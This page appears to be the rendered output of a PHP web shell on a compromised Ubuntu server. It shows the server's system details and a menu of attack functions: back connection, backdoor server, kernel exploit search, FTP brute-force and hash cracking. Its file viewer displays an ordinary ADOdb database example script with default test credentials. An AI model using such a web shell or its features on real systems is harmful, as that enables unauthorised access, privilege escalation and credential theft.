|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 22.46 GB of 70.42 GB (31.9%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
share/
doc/
libphp-adodb/
examples/
- drwxr-xr-x
|
Viewing file: test-active-recs2.php (1.4 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
<?php error_reporting(E_ALL); include('adodb/adodb.inc.php');
include('adodb/adodb-active-record.inc.php');
###########################
$ADODB_ACTIVE_CACHESECS = 36;
$DBMS = @$_GET['db']; if ($DBMS == 'mysql') { $db = NewADOConnection('mysql://root@localhost/northwind'); } else if ($DBMS == 'postgres') { $db = NewADOConnection('postgres'); $db->Connect("localhost","tester","test","test"); } else $db = NewADOConnection('oci8://scott:natsoft@/');
$arr = $db->ServerInfo(); echo "<h3>$db->dataProvider: {$arr['description']}</h3>";
$arr = $db->GetActiveRecords('products',' productid<10'); adodb_pr($arr);
ADOdb_Active_Record::SetDatabaseAdapter($db); if (!$db) die('failed');
$rec = new ADODB_Active_Record('photos');
$rec = new ADODB_Active_Record('products');
adodb_pr($rec->getAttributeNames());
echo "<hr>";
$rec->load('productid=2'); adodb_pr($rec);
$db->debug=1;
$rec->productname = 'Changie Chan'.rand();
$rec->insert(); $rec->update();
$rec->productname = 'Changie Chan 99'; $rec->replace();
$rec2 = new ADODB_Active_Record('products'); $rec->load('productid=3'); $rec->save();
$rec = new ADODB_Active_record('products'); $rec->productname = 'John ActiveRec'; $rec->notes = 22; #$rec->productid=0; $rec->discontinued=1; $rec->Save(); $rec->supplierid=33; $rec->Save(); $rec->discontinued=0; $rec->Save(); $rec->Delete();
echo "<p>Affected Rows after delete=".$db->Affected_Rows()."</p>"; ?>
|